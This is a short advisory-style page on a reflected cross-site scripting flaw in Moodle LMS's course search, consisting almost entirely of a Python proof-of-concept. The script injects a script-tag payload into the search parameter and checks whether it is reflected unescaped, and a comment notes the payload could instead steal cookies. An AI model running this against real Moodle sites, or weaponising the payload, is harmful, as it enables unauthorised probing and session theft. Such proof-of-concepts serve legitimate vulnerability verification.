CVE-2022-50943 Moodle LMS 跨站脚本漏洞

# PoC for CVE-2022-50943 # This script demonstrates the reflected XSS in Moodle LMS 4.0 via the search parameter. import requests def check_xss(target_url): # Vulnerable endpoint endpoint = "/course/search.php" # Malicious payload to test script execution # In a real scenario, this could be a cookie stealer xss_payload = "<script>alert('CVE-2022-50943_XSS');</script>" # Construct the full URL with parameters params = { "search": xss_payload } try: print(f"[*] Sending request to {target_url}{endpoint}...") response = requests.get(target_url + endpoint, params=params) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload is reflected unescaped.") print(f"[+] URL: {response.url}") else: print("[-] Payload not found or mitigated.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual target Moodle URL target = "http://localhost/moodle" check_xss(target)